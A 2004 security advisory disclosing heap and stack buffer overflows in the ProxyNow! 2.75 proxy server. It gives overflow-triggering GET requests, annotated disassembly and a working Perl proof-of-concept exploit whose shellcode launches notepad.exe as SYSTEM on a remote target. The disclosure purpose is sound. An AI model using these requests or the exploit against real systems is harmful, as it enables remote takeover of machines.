Date: Mon, 26 Jan 2004 21:21:18 +0000
From: "Peter Winter-Smith" <peter4020@...mail.com>
To: vulnwatch@...nwatch.org
Cc: vuln@...unia.com
Subject: ProxyNow! 2.x Multiple Overflow Vulnerabilities


ProxyNow! 2.x Multiple Overflow Vulnerabilities

###############################################

Credit:
Author     : Peter Winter-Smith

Software:
Package    : ProxyNow!
Versions   : 2.75 and below
Vendor     : InternetNow!
Vendor Url : http://www.internetnow.com.my/

Vulnerability:
Bug Type   : Multiple Buffer Overflows
              + Heap Memory Corruption
              + Stack-based Buffer Overflow
Severity   : Highly Critical
              + Denial of Service
              + Code Execution With SYSTEM Privileges

1. Description of Software

        "Using just ONE dial-up account, whether PSTN (your normal phone
dial-up) or ISDN, ProxyNow! will enable all other computers connected in
the same network to access the internet. Internet surfing can be counter
productive if access is not
managed.
        With ProxyNow! Advance Features, you can limit the time that users
can surf, block the sites by content or domain, log of all the sites
visited during the day, monitor on-line current activities of the
internet!
        *You will find no hardware or any solutions that will match
ours.*"
- Vendors Description


2. Bug Information

ProxyNow! is labelled on the InternetNow! website as being an application
for "Unmatched Internet Access control", which brings up the obvious
question 'for whom? Who is in control?' The natural thinker would assume
that, of course, it the person who administrates the proxy server, the
owner of the ProxyNow! software application who has control, which is the
usual order of things. Ironically enough, this is not so much the case.

Due to multiple insufficient bounds checking conditions within the
ProxyNow.exe application, it is possible for any malicious individual to
attack and gain control over a system running ProxyNow! versions 2.75 (the
latest as of 26/01/2004) and below, and execute arbitrary code with SYSTEM
privileges.

Both of the boundary checking problems occur when an HTTP GET request
involving an overly long URL prefixed with the string 'ftp://' is supplied
to the proxy server on port 3128/tcp.


(a). Heap Memory Corruption Vulnerability

If the request takes the following form (whereby 'AAAA' (41414141h) will
replace the eax register, and 'XXXX' (58585858h) will replace the ecx
register):


---------------[Request1.txt]---------------
GET ftp://('a'x647)('AAAA')('XXXX') HTTP/1.1


--------------------------------------------


It is possible to overwrite various structures in the memory which seem to
cause the corruption of important variables used for the management of the
heap memory. If the above sample request is sent around four to eight
times we are able to repeatedly cause an access violation within the
'rtlallocateheap' function.

It is often possible to gain control over the eax and the ecx registers
directly before hitting an instruction which will write the value
contained within the eax register, to the location pointed at by the ecx
register, allowing us to overwrite arbitrary memory.

A good use for this may be to overwrite a structured exception handler and
allow the application to crash, which should hand over full control of the
code execution flow to the attacker.


    (-). Part of the Vulnerable Code

Below is the unchecked data copying routine which overwrites the saved
values in memory:


00443F75  |> 0FBED0         /MOVSX EDX,AL
00443F78  |. 52             |PUSH EDX
00443F79  |. E8 E5FB0400    |CALL ProxyNow.00493B63
00443F7E  |. 83C4 04        |ADD ESP,4
00443F81  |. 85C0           |TEST EAX,EAX
00443F83  |. 75 0E          |JNZ SHORT ProxyNow.00443F93
00443F85  |. 8A06           |MOV AL,BYTE PTR DS:[ESI]
00443F87  |. 8845 00        |MOV BYTE PTR SS:[EBP],AL
00443F8A  |. 8A46 01        |MOV AL,BYTE PTR DS:[ESI+1]
00443F8D  |. 45             |INC EBP
00443F8E  |. 46             |INC ESI
00443F8F  |. 3C 2F          |CMP AL,2F
00443F91  |.^75 E2          \JNZ SHORT ProxyNow.00443F75


It seems that the application will continue overwriting memory
indefinitely until certain bytes, such as 0x2f or 0x20, are encountered.

Further on into the execution process, a call is made to
'rtlallocateheap', in which data that we have overwritten is loaded into
the eax and ecx registers as is shown below:


77F580C9   8B46 08          MOV EAX,DWORD PTR DS:[ESI+8]
77F580CC   8985 64FFFFFF    MOV DWORD PTR SS:[EBP-9C],EAX
77F580D2   8B4E 0C          MOV ECX,DWORD PTR DS:[ESI+C]
77F580D5   898D 60FFFFFF    MOV DWORD PTR SS:[EBP-A0],ECX


Then the application attempts to write the value contained within the eax
register at the location pointed to by the ecx register:


77F580DB   8901             MOV DWORD PTR DS:[ECX],EAX
77F580DD   8948 04          MOV DWORD PTR DS:[EAX+4],ECX


Under a debug session I was able to use this to overwrite a structured
exception handler located at 023EFC94 to gain control over the execution
flow, however I am uncertain of how this would work out without the
guidance of the debugger: It would undoubtedly be harder.


(b). Stack-based Buffer Overflow Vulnerability

... And if that wasn't bad enough ...

It seems that there is an unchecked call to 'wsprintfA', which can cause a
stack-based buffer overflow allowing an attacker to gain direct control
over the ecx, ebp and eip registers, allowing immediate redirection of the
code execution flow to an arbitrary location.

The overflow can be caused by supplying an HTTP GET request similar to the
following:


-------------------------[Request2.txt]-------------------------
GET ('ftp://www.nosite.com/')('a'x249)('BBBB')('XXXX') HTTP/1.1


----------------------------------------------------------------


In the above request, the ecx register will contain 'aaaa' (61616161h),
the saved base pointer will be overwritten with 'BBBB' (42424242h) and the
saved return address will be overwritten with 'XXXX' (58585858h).


    (-). Part of the Vulnerable Code


A procedure at 00443D20 is reached, it saves the base pointer on to the
stack:


00443D20  /$ 55             PUSH EBP
00443D21  |. 8BEC           MOV EBP,ESP


At 00443DA0 a pointer to the user supplied data (which is the
'ftp://www......BBBBXXXX' string) is moved into the eax register, and is
later pushed onto the stack for wsprintfA to copy data from.

Next, at 00443DB0, a buffer of around 288 bytes (120h) is allocated, and
the address of this is pushed onto the stack for use by the wsprintfA
function (called from 00443DBC) to store the formatted output. The output
is of the following format: 'Connecting to [%s]', where '%s' is the user
supplied data (of an unchecked length).


00443DA0  |. 8B86 C80C0000  MOV EAX,DWORD PTR DS:[ESI+CC8]
00443DA6  |. 85C0           TEST EAX,EAX
00443DA8  |. 75 05          JNZ SHORT ProxyNow.00443DAF
00443DAA  |. B8 38F74C00    MOV EAX,ProxyNow.004CF738
00443DAF  |> 50             PUSH EAX
00443DB0  |. 8D95 E0FEFFFF  LEA EDX,DWORD PTR SS:[EBP-120]
00443DB6  |. 68 EC744F00    PUSH ProxyNow.004F74EC
00443DBB  |. 52             PUSH EDX
00443DBC  |. FF15 FCF44C00  CALL DWORD PTR DS:[<&USER32.wsprintfA>]
00443DC2  |. 83C4 0C        ADD ESP,0C
00443DC5  |. 8D85 E0FEFFFF  LEA EAX,DWORD PTR SS:[EBP-120]
00443DCB  |. 8BCE           MOV ECX,ESI
00443DCD  |. 50             PUSH EAX
00443DCE  |. 6A 00          PUSH 0
00443DD0  |. E8 0B620000    CALL ProxyNow.00449FE0
00443DD5  |. 8B4D F4        MOV ECX,DWORD PTR SS:[EBP-C]


When the wsprintfA function returns, if the formatted output string is too
large for the buffer supplied to hold it, the saved base pointer and
return address, which were left on the stack by calling the procedure
00443D20, can be completely overwritten. The ecx register is also
overwritten when the instruction at line 00443DD5 is executed.

When the procedure 00443D20 returns (at line 00443DE7), the overwritten
saved return address is moved into the instruction pointer register and
code execution continues from the user supplied location!


00443DE4  |. 8BE5           MOV ESP,EBP
00443DE6  |. 5D             POP EBP
00443DE7  \. C2 0400        RETN 4


For an attacker it is little more than trivial to redirect the code
execution flow back into a buffer which contains specially crafted
arbitrary code. The code will be executed with SYSTEM privileges!


3. Proof of Concept

    To demonstrate the potential impact of these vulnerabilities, I have
decided to make public a simple and harmless proof of concept exploit,
designed to remotely execute the Windows notepad application with SYSTEM
privileges. Notepad will not be run as a visible window, and so to check
for the success of this exploit it will be necessary to look for the
'notepad.exe' process under the running processes tab of the Windows Task
Manager on the target system.


#########################################################################
#!/usr/bin/perl -w
#
# Remote Stack Overflow in ProxyNow! 2.x PoC Exploit
#
# Tested on Windows XP Home SP1
#
# Ever seen notepad.exe with SYSTEM privileges? :-/
#
#  - by Peter Winter-Smith [peter4020@...mail.com]

use IO::Socket;

if(!($ARGV[1]))
{
print "Usage: proxynow.pl <victim> <port>\n" .
       "\tDefault port is 3128\n\n";
exit;
}

print "Remote Stack Overflow in ProxyNow! PoC - Executes notepad.exe\n" .
      "Notepad.exe will only be visible from the Task Manager!\n\n";

$victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Unable to connect to $ARGV[0] on" .
                                   "port $ARGV[1]";

$nops      =            "\x90\x90\x90\x90";

$subcode   =            "\x89\xE0\x05\x03\xFF\xFF\xFF\xFF" .
                        "\xE0";

$shellcode =            "\x31\xC9\x51\x68\x65\x70\x61\x64" .
                        "\x68\xFF\x6E\x6F\x74\x8D\x44\x24" .
                        "\x01\x50\xB8\x44\x80\xC2\x77\xFF" .
                        "\xD0\xCC";

$pad = "XXXXXXXX";

$ebp = "BBBB";
$eip = "\x3B\x58\x01\x10";


$bad    = "GET ftp://www.nosite.com/" . "\x90"x33 . $shellcode . "a"x190 .
          $ebp . $eip . $nops . $subcode . $pad . "\x20HTTP/1.1\r\n\r\n";

print $victim $bad;

print "[+] Data sent: Check for notepad.exe running as SYSTEM!\n";

sleep(2);

close($victim);

print "[+] Done!\n";
exit;
#########################################################################


4. Patches - Workarounds

    After having contacted InternetNow! on three occasions under different
addresses with no response, I felt that perhaps they were not interested
in putting out a fix for these issues, and so decided to release this
information to the security community so that ProxyNow! users can decide
to take whatever action they deem necessary.


5. Credits

    The discovery, analysis and exploitation of this flaw is a result of
research carried out by Peter Winter-Smith. I would ask that you do not
regard any of the analysis to be 'set in stone', and that if investigating
this flaw you back trace the steps detailed earlier for yourself.

Greets and thanks to:
    David and Mark Litchfield, JJ Gray (Nexus), Todd and all the
packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)),
pv8man, nick k., Joel J. and Martine.

o This document should be mirrored at
                   http://www.elitehaven.net/proxynow.txt

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